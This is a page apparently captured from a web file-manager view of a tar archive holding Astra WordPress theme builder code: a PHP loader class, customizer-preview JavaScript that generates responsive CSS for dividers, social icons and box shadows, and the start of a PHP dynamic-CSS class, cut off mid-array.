File manager - Edit - /home/premiey/www/wp-includes/images/media/builder.tar
Back
class-astra-builder-loader.php 0000666 00000012262 15165341673 0012404 0 ustar 00 <?php /** * Astra Builder Loader. * * @package astra-builder */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Builder_Loader' ) ) { /** * Class Astra_Builder_Loader. */ final class Astra_Builder_Loader { /** * Member Variable * * @var instance */ private static $instance = null; /** * Initiator */ public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); do_action( 'astra_builder_loaded' ); } return self::$instance; } /** * Constructor */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound /** * Builder Core Files. */ require_once ASTRA_THEME_DIR . 'inc/core/builder/class-astra-builder-helper.php'; require_once ASTRA_THEME_DIR . 'inc/core/builder/class-astra-builder-options.php'; /** * Builder - Header & Footer Markup. */ require_once ASTRA_THEME_DIR . 'inc/builder/markup/class-astra-builder-header.php'; require_once ASTRA_THEME_DIR . 'inc/builder/markup/class-astra-builder-footer.php'; /** * Builder Controllers. */ require_once ASTRA_THEME_DIR . 'inc/builder/controllers/class-astra-builder-widget-controller.php'; require_once ASTRA_THEME_DIR . 'inc/builder/controllers/class-astra-builder-ui-controller.php'; /** * Customizer - Configs. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-builder-customizer.php'; /**DONE */ if ( true === Astra_Builder_Helper::$is_header_footer_builder_active ) { add_filter( 'astra_existing_header_footer_configs', '__return_false' ); add_filter( 'astra_addon_existing_header_footer_configs', '__return_false' ); } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound add_action( 'wp', array( $this, 'load_markup' ), 100 ); add_filter( 'astra_quick_settings', array( $this, 'quick_settings' ) ); } /** * Update Quick Settings links. * * @param array $quick_settings Links to the Quick Settings in Astra. * @since 3.0.0 */ public function quick_settings( $quick_settings ) { if ( false === Astra_Builder_Helper::$is_header_footer_builder_active ) { return $quick_settings; } $quick_settings['header']['title'] = __( 'Header Builder', 'astra' ); $quick_settings['header']['quick_url'] = admin_url( 'customize.php?autofocus[panel]=panel-header-builder-group' ); $quick_settings['footer']['title'] = __( 'Footer Builder', 'astra' ); $quick_settings['footer']['quick_url'] = admin_url( 'customize.php?autofocus[panel]=panel-footer-builder-group' ); return $quick_settings; } /** * Advanced Hooks markup loader * * Loads appropriate template file based on the style option selected in options panel. * * @since 3.0.0 */ public function load_markup() { if ( ! defined( 'ASTRA_ADVANCED_HOOKS_POST_TYPE' ) || false === Astra_Builder_Helper::$is_header_footer_builder_active ) { return; } $option = array( 'location' => 'ast-advanced-hook-location', 'exclusion' => 'ast-advanced-hook-exclusion', 'users' => 'ast-advanced-hook-users', ); $result = Astra_Target_Rules_Fields::get_instance()->get_posts_by_conditions( ASTRA_ADVANCED_HOOKS_POST_TYPE, $option ); $header_counter = 0; $footer_counter = 0; $layout_404_counter = 0; foreach ( $result as $post_id => $post_data ) { $post_type = get_post_type(); if ( ASTRA_ADVANCED_HOOKS_POST_TYPE !== $post_type ) { $layout = get_post_meta( $post_id, 'ast-advanced-hook-layout', false ); if ( isset( $layout[0] ) && '404-page' == $layout[0] && 0 == $layout_404_counter ) { $layout_404_settings = get_post_meta( $post_id, 'ast-404-page', true ); if ( isset( $layout_404_settings['disable_header'] ) && 'enabled' == $layout_404_settings['disable_header'] ) { remove_action( 'astra_header', array( Astra_Builder_Header::get_instance(), 'header_builder_markup' ) ); } if ( isset( $layout_404_settings['disable_footer'] ) && 'enabled' == $layout_404_settings['disable_footer'] ) { remove_action( 'astra_footer', array( Astra_Builder_Footer::get_instance(), 'footer_markup' ) ); } $layout_404_counter ++; } elseif ( isset( $layout[0] ) && 'header' == $layout[0] && 0 == $header_counter ) { // Remove default site's header. remove_action( 'astra_header', array( Astra_Builder_Header::get_instance(), 'header_builder_markup' ) ); $header_counter++; } elseif ( isset( $layout[0] ) && 'footer' == $layout[0] && 0 == $footer_counter ) { // Remove default site's footer. remove_action( 'astra_footer', array( Astra_Builder_Footer::get_instance(), 'footer_markup' ) ); $footer_counter++; } } } } } /** * Prepare if class 'Astra_Builder_Loader' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Builder_Loader::get_instance(); } if ( ! function_exists( 'astra_builder' ) ) { /** * Get global class. * * @return object */ function astra_builder() { return Astra_Builder_Loader::get_instance(); } } type/base/assets/js/customizer-preview.js 0000666 00000056663 15165341673 0014635 0 ustar 00 /** * Divider Component CSS. * * @param string builder_type Builder Type. * @param string divider_count HTML Count. * @since x.x.x * */ function astra_builder_divider_css( builder_type = 'header', divider_count ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; for ( var index = 1; index <= divider_count; index++ ) { let selector = ( 'header' === builder_type ) ? '.ast-header-divider-' + index : '.ast-builder-grid-row-container-inner .footer-widget-area[data-section="section-fb-divider-' + index + '"]'; let section = ( 'header' === builder_type ) ? 'section-hb-divider-' + index : 'section-fb-divider-' + index; // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector ); ( function ( index ) { astra_css( 'astra-settings[' + builder_type + '-divider-' + index + '-style]', 'border-style', selector + ' .ast-divider-wrapper' ); wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-color]', function( setting ) { setting.bind( function( color ) { var dynamicStyle = '', borderStyle = (typeof ( wp.customize._value['astra-settings[' + builder_type + '-divider-' + index + '-style]'] ) != 'undefined') ? wp.customize._value['astra-settings[' + builder_type + '-divider-' + index + '-style]']._value : ''; dynamicStyle += selector + ' .ast-divider-wrapper, .ast-mobile-popup-content ' + selector + ' .ast-divider-wrapper {'; dynamicStyle += 'border-style: ' + borderStyle + ';'; dynamicStyle += 'border-color: ' + color + ';'; dynamicStyle += '} '; astra_add_dynamic_css( builder_type + '-divider-' + index + '-color', dynamicStyle ); } ); } ); wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-layout]', function ( value ) { value.bind( function ( newval ) { var context = ( 'header' === builder_type ) ? 'hb' : 'fb'; var side_class = 'ast-' + context + '-divider-layout-' + newval; jQuery( '.ast-' + builder_type + '-divider-' + index ).removeClass( 'ast-' + context + '-divider-layout-horizontal' ); jQuery( '.ast-' + builder_type + '-divider-' + index ).removeClass( 'ast-' + context + '-divider-layout-vertical' ); jQuery( '.ast-' + builder_type + '-divider-' + index ).addClass( side_class ); } ); } ); // Divider Thickness. wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-thickness]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { let layout = wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-layout]' ).get(); var dynamicStyle = ''; if ( 'horizontal' === layout ) { dynamicStyle += selector + ' .ast-divider-layout-horizontal {'; dynamicStyle += 'border-top-width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-horizontal {'; dynamicStyle += 'border-top-width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-horizontal {'; dynamicStyle += 'border-top-width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } else { dynamicStyle += selector + ' .ast-divider-layout-vertical {'; dynamicStyle += 'border-right-width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-vertical {'; dynamicStyle += 'border-right-width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-vertical {'; dynamicStyle += 'border-right-width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-divider-' + index + '-thickness', dynamicStyle ); } } ); } ); // Divider Size. wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-size]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { var dynamicStyle = ''; if ( 'footer' === builder_type ) { dynamicStyle += selector + '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.desktop + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.tablet + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.mobile + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } else { dynamicStyle += selector + '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.desktop + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.tablet + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.mobile + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-divider-' + index + '-size', dynamicStyle ); } } ); } ); // Footer Vertical Divider Size. wp.customize( 'astra-settings[footer-vertical-divider-' + index + '-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { dynamicStyle += selector + '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-vertical-divider-' + index + '-size', dynamicStyle ); } ); } ); // Header Horizontal Divider Size. wp.customize( 'astra-settings[header-horizontal-divider-' + index + '-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { dynamicStyle += selector + '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-horizontal-divider-' + index + '-size', dynamicStyle ); } ); } ); // Margin. wp.customize( 'astra-settings[' + section + '-margin]', function( value ) { value.bind( function( margin ) { if( margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' || margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' || margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( section + '-margin', dynamicStyle ); } } ); } ); })(index); } } /** * Generate spacing preview CSS based on stack-on device option. */ function astra_generate_spacing_preview_social_css( index, builder_type, stack_on, spacing ) { let selector = '.ast-' + builder_type + '-social-' + index + '-wrap'; var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; var space = ''; var dynamicStyle = ''; if ( 'desktop' === stack_on ) { space = spacing.desktop/2; dynamicStyle += selector + ' .ast-social-stack-desktop .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; space = spacing.tablet/2; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-desktop .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-desktop .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; } if ( 'tablet' === stack_on ) { space = spacing.tablet/2; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-tablet .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-tablet .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; } if ( 'mobile' === stack_on ) { space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-mobile .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-social-icons-' + index + '-icon-space', dynamicStyle ); } /** * Social Component CSS. * * @param string builder_type Builder Type. * @param string social_count HTML Count. * @since x.x.x */ function astra_builder_addon_social_css( builder_type = 'header', social_count ) { for ( var index = 1; index <= social_count; index++ ) { ( function ( index ) { // Margin. wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-stack]', function( value ) { value.bind( function( value ) { jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-tablet' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-mobile' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-desktop' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-stack-none' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').addClass( 'ast-social-stack-' + value ); let spacing = wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-space]' ).get(); astra_generate_spacing_preview_social_css( index, builder_type, value, spacing ); } ); } ); // Icon Space. wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-space]', function( value ) { value.bind( function( spacing ) { let stack_on = wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-stack]' ).get(); astra_generate_spacing_preview_social_css( index, builder_type, stack_on, spacing ); } ); } ); })( index ); } } /** * language Switcher Component CSS. * * @param string builder_type Builder Type. * @param string lswitcher_count HTML Count. * @since x.x.x * */ function astra_builder_language_switcher_css( builder_type = 'header' ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; let selector = ( 'header' === builder_type ) ? '.ast-header-language-switcher' : '.ast-footer-language-switcher-element[data-section="section-fb-language-switcher"]'; let section = ( 'header' === builder_type ) ? 'section-hb-language-switcher' : 'section-fb-language-switcher'; // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector ); // Flag spacing. wp.customize( 'astra-settings[' + section + '-flag-spacing]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop != '' || size.desktop != '' || size.desktop != '' || size.desktop != '' || size.tablet != '' || size.tablet != '' || size.tablet != '' || size.tablet != '' || size.mobile != '' || size.mobile != '' || size.mobile != '' || size.mobile != '' ) { dynamicStyle += 'span.ast-lswitcher-item-' + builder_type + ' {'; dynamicStyle += 'margin-right: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += 'span.ast-lswitcher-item-' + builder_type + ' {'; dynamicStyle += 'margin-right: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += 'span.ast-lswitcher-item-' + builder_type + ' {'; dynamicStyle += 'margin-right: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( section + '-flag-spacing', dynamicStyle ); } ); } ); // Flag Thickness. wp.customize( 'astra-settings[' + section + '-flag-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop !== '' || size.tablet !== '' || size.mobile !== '' ) { dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' img {'; dynamicStyle += 'width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' svg {'; dynamicStyle += 'height: ' + size.desktop + 'px' + ';'; dynamicStyle += 'width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' img {'; dynamicStyle += 'width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' svg {'; dynamicStyle += 'height: ' + size.tablet + 'px' + ';'; dynamicStyle += 'width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' img {'; dynamicStyle += 'width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '.ast-lswitcher-item-' + builder_type + ' svg {'; dynamicStyle += 'height: ' + size.mobile + 'px' + ';'; dynamicStyle += 'width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( section + '-flag-size', dynamicStyle ); } ); } ); } /** * Box Shadow CSS. * * @param string prefix Controls prefix. * @param string selector Builder selector. * */ function astra_addon_box_shadow_css( prefix, selector ) { wp.customize( 'astra-settings[' + prefix + '-box-shadow-control]', function( value ) { value.bind( function( shadow ) { var dynamicStyle = ''; if( shadow.x != '' && shadow.y != '' && shadow.blur != '' && shadow.spread != '' ) { var position = wp.customize( 'astra-settings[' + prefix + '-box-shadow-position]' ).get(); var color = wp.customize( 'astra-settings[' + prefix + '-box-shadow-color]' ).get(); dynamicStyle = astra_addon_get_box_shadow_css( selector, shadow, position, color ); } astra_add_dynamic_css( prefix + '-box-shadow-control', dynamicStyle ); } ); } ); /** * Box Shadow Color. */ wp.customize( 'astra-settings[' + prefix + '-box-shadow-color]', function( value ) { value.bind( function( color ) { var dynamicStyle = ''; if( '' != color ) { var shadow = wp.customize( 'astra-settings[' + prefix + '-box-shadow-control]' ).get(); var position = wp.customize( 'astra-settings[' + prefix + '-box-shadow-position]' ).get(); dynamicStyle = astra_addon_get_box_shadow_css( selector, shadow, position, color ); } astra_add_dynamic_css( prefix + '-box-shadow-control', dynamicStyle ); } ); } ); /** * Box Shadow Position. */ wp.customize( 'astra-settings[' + prefix + '-box-shadow-position]', function( value ) { value.bind( function( position ) { var dynamicStyle = ''; if( '' != position ) { var shadow = wp.customize( 'astra-settings[' + prefix + '-box-shadow-control]' ).get(); var color = wp.customize( 'astra-settings[' + prefix + '-box-shadow-color]' ).get(); dynamicStyle = astra_addon_get_box_shadow_css( selector, shadow, position, color ); } astra_add_dynamic_css( prefix + '-box-shadow-control', dynamicStyle ); } ); } ); } /** * Button Component CSS. * * @param string builder_type Builder Type. * @param string button_count Button Count. * */ function astra_addon_button_css( builder_type = 'header', button_count ) { for ( var index = 1; index <= button_count; index++ ) { (function (index) { var selector = '.ast-' + builder_type + '-button-' + index + ' .ast-builder-button-wrap .ast-custom-button'; // Box Shadow CSS Generation. astra_addon_box_shadow_css( builder_type + '-button' + index, selector ); astra_font_extras_css( builder_type + '-button' + index + '-font-extras', selector ); })(index); } } /** * Button Component CSS. * * @param string builder_type Builder Type. * @param string button_count Button Count. * */ function astra_addon_get_box_shadow_css( selector, shadow, position, color ) { var dynamicStyle = ''; if( shadow.x != '' && shadow.y != '' && shadow.blur != '' && shadow.spread != '' ) { var box_shadow_color = ( '' !== color ) ? color + ' ' : 'rgba(0,0,0,0.5) '; var shadow_position = ( 'undefined' != typeof position && 'inset' == position ) ? 'inset' : ''; var x_val = ( '' !== shadow.x ) ? ( shadow.x + 'px ' ) : '0px '; var y_val = ( '' !== shadow.y ) ? ( shadow.y + 'px ' ) : '0px '; var blur_val = ( '' !== shadow.blur ) ? ( shadow.blur + 'px ' ) : '0px '; var spread_val = ( '' !== shadow.spread ) ? ( shadow.spread + 'px ' ) : '0px '; dynamicStyle = selector + ' {'; dynamicStyle += 'box-shadow:' + x_val + y_val + blur_val + spread_val + box_shadow_color + shadow_position + ';'; dynamicStyle += '}'; } return dynamicStyle; } type/base/dynamic-css/social/class-astra-social-component-dynamic-css.php 0000666 00000046002 15165341673 0022552 0 ustar 00 <?php /** * Astra Social Component Dynamic CSS. * * @package astra-builder * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Dynamic CSS. * * @since 3.0.0 */ class Astra_Social_Component_Dynamic_CSS { /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ public static function astra_social_dynamic_css( $builder_type = 'header' ) { $generated_css = ''; $social_css_flag = false; $number_of_social_icons = ( 'header' === $builder_type ) ? Astra_Builder_Helper::$num_of_header_social_icons : Astra_Builder_Helper::$num_of_footer_social_icons; for ( $index = 1; $index <= $number_of_social_icons; $index++ ) { if ( ! Astra_Builder_Helper::is_component_loaded( 'social-icons-' . $index, $builder_type ) ) { continue; } $social_css_flag = true; $selector = '.ast-' . $builder_type . '-social-' . $index . '-wrap'; $_section = ( 'header' === $builder_type ) ? 'section-hb-social-icons-' . $index : 'section-fb-social-icons-' . $index; $icon_spacing = astra_get_option( $builder_type . '-social-' . $index . '-space' ); $icon_bg_spacing = astra_get_option( $builder_type . '-social-' . $index . '-bg-space' ); $icon_size = astra_get_option( $builder_type . '-social-' . $index . '-size' ); $icon_radius_fields = astra_get_option( $builder_type . '-social-' . $index . '-radius-fields' ); $icon_spacing_desktop = ( isset( $icon_spacing['desktop'] ) && '' !== $icon_spacing['desktop'] ) ? (int) $icon_spacing['desktop'] / 2 : ''; $icon_spacing_tablet = ( isset( $icon_spacing['tablet'] ) && '' !== $icon_spacing['tablet'] ) ? (int) $icon_spacing['tablet'] / 2 : ''; $icon_spacing_mobile = ( isset( $icon_spacing['mobile'] ) && '' !== $icon_spacing['mobile'] ) ? (int) $icon_spacing['mobile'] / 2 : ''; $icon_size_desktop = ( isset( $icon_size['desktop'] ) && '' !== $icon_size['desktop'] ) ? (int) $icon_size['desktop'] : ''; $icon_size_tablet = ( isset( $icon_size['tablet'] ) && '' !== $icon_size['tablet'] ) ? (int) $icon_size['tablet'] : ''; $icon_size_mobile = ( isset( $icon_size['mobile'] ) && '' !== $icon_size['mobile'] ) ? (int) $icon_size['mobile'] : ''; $icon_bg_spacing = ( isset( $icon_bg_spacing ) && '' !== $icon_bg_spacing ) ? (int) $icon_bg_spacing : ''; // Normal Responsive Colors. $color_type = astra_get_option( $builder_type . '-social-' . $index . '-color-type' ); $social_icons_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-color' ), 'desktop' ); $social_icons_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-color' ), 'tablet' ); $social_icons_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-color' ), 'mobile' ); // Hover Responsive Colors. $social_icons_h_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-h-color' ), 'desktop' ); $social_icons_h_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-h-color' ), 'tablet' ); $social_icons_h_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-h-color' ), 'mobile' ); // Normal Responsive Bg Colors. $social_icons_bg_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-bg-color' ), 'desktop' ); $social_icons_bg_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-bg-color' ), 'tablet' ); $social_icons_bg_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-bg-color' ), 'mobile' ); // Hover Responsive Bg Colors. $social_icons_h_bg_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-bg-h-color' ), 'desktop' ); $social_icons_h_bg_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-bg-h-color' ), 'tablet' ); $social_icons_h_bg_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-bg-h-color' ), 'mobile' ); // Normal Responsive Label Colors. $social_icons_label_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-label-color' ), 'desktop' ); $social_icons_label_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-label-color' ), 'tablet' ); $social_icons_label_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-label-color' ), 'mobile' ); // Hover Responsive Label Colors. $social_icons_label_h_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-label-h-color' ), 'desktop' ); $social_icons_label_h_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-label-h-color' ), 'tablet' ); $social_icons_label_h_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-social-' . $index . '-label-h-color' ), 'mobile' ); $margin = astra_get_option( $_section . '-margin' ); /** * Social Icon CSS. */ $css_output_desktop = array( $selector . ' .ast-builder-social-element' => array( // Icon Spacing. 'margin-left' => astra_get_css_value( $icon_spacing_desktop, 'px' ), 'margin-right' => astra_get_css_value( 